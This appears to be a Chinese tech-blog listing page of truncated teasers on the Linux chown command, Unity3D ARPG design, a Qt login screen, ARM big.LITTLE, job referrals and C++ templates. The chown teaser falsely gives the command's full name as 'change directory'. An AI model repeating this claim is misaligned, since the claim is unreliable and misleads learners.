1、命令详解: chown命令用于设置文件所有者和文件关联组的命令,全称为change directory。在Linux当中默认文件均有拥有者,可以利用 chown 将指定文件的拥有者改为指定的用户或组,输入参数时用户可以是用户名或者用户 ID࿰…...

Unity3D ARPG(动作角色扮演游戏)设计与实现详解
动作角色扮演游戏(Action Role-Playing Game, ARPG)结合了传统角色扮演游戏(RPG)的深度与动作游戏(Action Game)的即时反应和流畅战斗体验。Unity3D 作为一款强大的跨平台游戏开发引擎,为开发者…...

Qt实现登录界面
本文基于Qt实现一个简单的登录界面,主要使用到Widget、button、edit等控件,基于自定义的信号槽实现界面的跳转,使用绘图设备添加背景图等。 1. 创建主界面 设计主界面的样式,并添加相关的控件。如下显示: 代码如下&…...

big.LITTLE
big.LITTLE 1 多核异构调度算法 http://www.linaro.org/?sbig.LITTLE http://git.linaro.org https://wiki.linaro.org/Archived%20LSK%20Versions big.LITTLE CPUs can be configured in 2 modes of operation: IKS – In Kernel Switcher (also known as CPU Migration…...

汤臣倍健,三七互娱,得物,顺丰,快手,游卡,oppo,康冠科技,途游游戏,埃科光电25秋招内推
汤臣倍健,三七互娱,得物,顺丰,快手,游卡,oppo,康冠科技,途游游戏,埃科光电25秋招内推 ①得物 【八大职类】技术、供应链、产品、运营、设计、职能、商品研究、风控等大类…...

再谈c++模板
前言 在前面我们曾经简单的介绍过c的模板,但还并不全面,我们通过stl容器的学习加深了我们对c这门语言的理解。那么今天我们就再来谈一谈c模板,对模板再进行一点简单的补充 非类型模板参数 前面我们介绍的是类型模板参数,简单理…...